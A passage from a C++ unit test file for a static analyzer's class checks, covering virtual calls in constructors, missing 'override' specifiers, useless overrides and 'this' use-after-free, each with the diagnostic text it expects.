Bar {\\n\"\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i{i} {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkVirtualFunctionCall(...) checkVirtualFunctionCall_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualFunctionCall_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkVirtualFunctionCallInConstructor();\n }\n\n void virtualFunctionCallInConstructor() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{f();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 7. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A {\\n\"\n \" virtual int f();\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() override;\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:9]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \" virtual int f() = 0;\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \" int f();\\n\" // <- not explicitly virtual\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" A() { A::f(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() final { return 1; }\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \"public:\"\n \" virtual void f() {}\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \"public:\"\n \" void f() override final {}\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void Copy(const Base& Src) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" Derived() : i(0) {}\\n\"\n \" Derived(const Derived& Src);\\n\"\n \" void Copy(const Base& Src) override;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"Derived::Derived(const Derived& Src) {\\n\"\n \" Copy(Src);\\n\"\n \"}\\n\"\n \"void Derived::Copy(const Base& Src) {\\n\"\n \" auto d = dynamic_cast(Src);\\n\"\n \" i = d.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:13:5] -> [test.cpp:9:10]: (style) Virtual function 'Copy' is called from copy constructor 'Derived(const Derived&Src)' at line 13. Dynamic binding is not used. [virtualCallInConstructor]\\n\",\n errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &B::f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { (f)(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:18]: (style) Virtual function 'f' is called from constructor 'B()' at line 2. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class S {\\n\" // don't crash\n \" ~S();\\n\"\n \"public:\\n\"\n \" S();\\n\"\n \"};\\n\"\n \"S::S() {\\n\"\n \" typeid(S);\\n\"\n \"}\\n\"\n \"S::~S() = default;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct Base: { virtual void wibble() = 0; virtual ~Base() {} };\\n\" // #11167\n \"struct D final : public Base {\\n\"\n \" void wibble() override;\\n\"\n \" D() {}\\n\"\n \" virtual ~D() { wibble(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCall() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int pure()=0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(A::pure())\\n\"\n \"{}\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:3:17]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"namespace N {\\n\"\n \" class A\\n\"\n \" {\\n\"\n \" virtual int pure() = 0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"N::A::A() : m(N::A::pure()) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:21] -> [test.cpp:4:19]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual int pure()=0;\\n\"\n \" int nonpure()\\n\"\n \" {return pure();}\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(nonpure())\\n\"\n \"{}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", \"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:10:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(bool b);\\n\"\n \"};\\n\"\n \"A::A(bool b)\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n // #5831\n checkVirtualFunctionCall(\"class abc {\\n\"\n \"public:\\n\"\n \" virtual ~abc() throw() {}\\n\"\n \" virtual void def(void* g) throw () = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4992\n checkVirtualFunctionCall(\"class CMyClass {\\n\"\n \" std::function< void(void) > m_callback;\\n\"\n \"public:\\n\"\n \" CMyClass() {\\n\"\n \" m_callback = [this]() { return VirtualMethod(); };\\n\"\n \" }\\n\"\n \" virtual void VirtualMethod() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10559\n checkVirtualFunctionCall(\"struct S {\\n\"\n \" S(const int x) : m(std::bind(&S::f, this, x, 42)) {}\\n\"\n \" virtual int f(const int x, const int y) = 0;\\n\"\n \" std::function m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallOtherClass() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(const A & a);\\n\"\n \"};\\n\"\n \"A::A(const A & a)\\n\"\n \"{a.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{B b; b.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallWithBody() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pureWithBody();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pureWithBody();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void pureVirtualFunctionCallPrevented() {\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (bCallPure) pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (!bCallPure) ; else pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" {\\n\"\n \" switch (bCallPure) {\\n\"\n \" case true: pure(); break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkOverride(...) checkOverride_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOverride_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkOverride)();\n }\n\n void override1() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f(); };\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:37]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() override; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() final; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual auto foo( ) const -> size_t { return 1; }\\n\"\n \" virtual auto bar( ) const -> size_t { return 1; }\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public :\\n\"\n \" auto foo( ) const -> size_t { return 0; }\\n\"\n \" auto bar( ) const -> size_t override { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:8:10]: (style) The function 'foo' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"namespace Test {\\n\"\n \" class C {\\n\"\n \" public:\\n\"\n \" virtual ~C();\\n\"\n \" };\\n\"\n \"}\\n\"\n \"class C : Test::C {\\n\"\n \"public:\\n\"\n \" ~C();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18] -> [test.cpp:9:6]: (style) The destructor '~C' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct Base {\\n\"\n \" virtual void foo();\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct Derived: public Base {\\n\"\n \" void foo() override;\\n\"\n \" void foo(int);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct B {\\n\" // #9092\n \" virtual int f(int i) const = 0;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" struct D : B {\\n\"\n \" virtual int f(int i) const;\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:6:21]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::set);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector v);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector w = {});\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", \"\", errout_str());\n\n checkOverride(\"struct T {};\\n\" // #10920\n \"struct B {\\n\"\n \" virtual T f() = 0;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" friend T f();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:8:8]: (style) The function 'operator->' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n\n checkOverride(\"class Base {\\n\" // #12131\n \" virtual int Calculate(int arg) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \" int Calculate(int arg = 0) {\\n\"\n \" return arg * 2;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:5:9]: (style) The function 'Calculate' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct S {\\n\" // #12439\n \" virtual ~S() = default;\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \" ~D() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:5:6]: (style) The destructor '~D' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n }\n\n void overrideCVRefQualifiers() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() const; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() volatile; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &&; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n #define checkUselessOverride(...) checkUselessOverride_(__FILE__, __LINE__, __VA_ARGS__)\n void checkUselessOverride_(const char* file, int line, const char code[]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUselessOverride)();\n }\n\n void uselessOverride() {\n checkUselessOverride(\"struct B { virtual int f() { return 5; } };\\n\" // #11757\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:3:10]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f() = 0; };\\n\"\n \"int B::f() { return 5; }\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i + 1); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i, int j); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i, int j) override { return B::f(j, i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(); };\\n\"\n \"struct I { virtual int f() = 0; };\\n\"\n \"struct D : B, I {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S { virtual void f(); };\\n\"\n \"struct D : S {\\n\"\n \" void f() final { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S {\\n\"\n \"protected:\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \"public:\\n\"\n \" void f() override { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(int, int, int) const; };\\n\" // #11799\n \"struct D : B {\\n\"\n \" int m = 42;\\n\"\n \" void f(int a, int b, int c) const override;\\n\"\n \"};\\n\"\n \"void D::f(int a, int b, int c) const {\\n\"\n \" B::f(a, b, m);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #11803\n \" virtual void f();\\n\"\n \" virtual void f(int i);\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \" void f(int i) override;\\n\"\n \" void g() { f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\" // #11808\n \"struct D : B { void f() override {} };\\n\"\n \"struct D2 : D {\\n\"\n \" void f() override {\\n\"\n \" B::f();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" virtual int g() { return 7; }\\n\"\n \" virtual int h(int i, int j) { return i + j; }\\n\"\n \" virtual int j(int i, int j) { return i + j; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return 2; }\\n\"\n \" int g() override { return 7; }\\n\"\n \" int h(int j, int i) override { return i + j; }\\n\"\n \" int j(int i, int j) override { return i + j; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:9:9]: (style) The function 'g' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\"\n \"[test.cpp:5:17] -> [test.cpp:11:9]: (style) The function 'j' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\",\n errout_str());\n\n checkUselessOverride(\"struct B : std::exception {\\n\"\n \" virtual void f() { throw *this; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { throw *this; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO virtual void f() {}\\n\"\n \"struct B {\\n\"\n \" MACRO\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" MACRO\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" B() = default;\\n\"\n \" explicit B(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" virtual int f() const { return m; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" explicit D(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" int f() const override { return m; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO 1\\n\"\n \"struct B { virtual int f() { return 1; } };\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return MACRO; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12706\n \" virtual void f() { g(); }\\n\"\n \" void g() { std::cout << \\\"Base\\\\n\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { g(); }\\n\"\n \" virtual void g() { std::cout << \\\"Derived\\\\n\\\"; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12946\n \" virtual int f() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return b.f(); }\\n\"\n \" B b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkUnsafeClassRefMember(...) checkUnsafeClassRefMember_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkUnsafeClassRefMember_(const char* file, int line, const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).build();\n settings.safeChecks.classes = true;\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUnsafeClassRefMember)();\n }\n\n void unsafeClassRefMember() {\n checkUnsafeClassRefMember(\"class C { C(const std::string &s) : s(s) {} const std::string &s; };\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Unsafe class: The const reference member 'C::s' is initialized by a const reference constructor argument. You need to be careful about lifetime issues. [unsafeClassRefMember]\\n\", errout_str());\n }\n\n\n#define checkThisUseAfterFree(...) checkThisUseAfterFree_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisUseAfterFree_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkThisUseAfterFree)();\n }\n\n void thisUseAfterFree() {\n setMultiline();\n\n // Calling method..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete mInstance; hello(); }\\n\"\n \"private:\\n\"\n \" static C *mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:38]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:38]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n 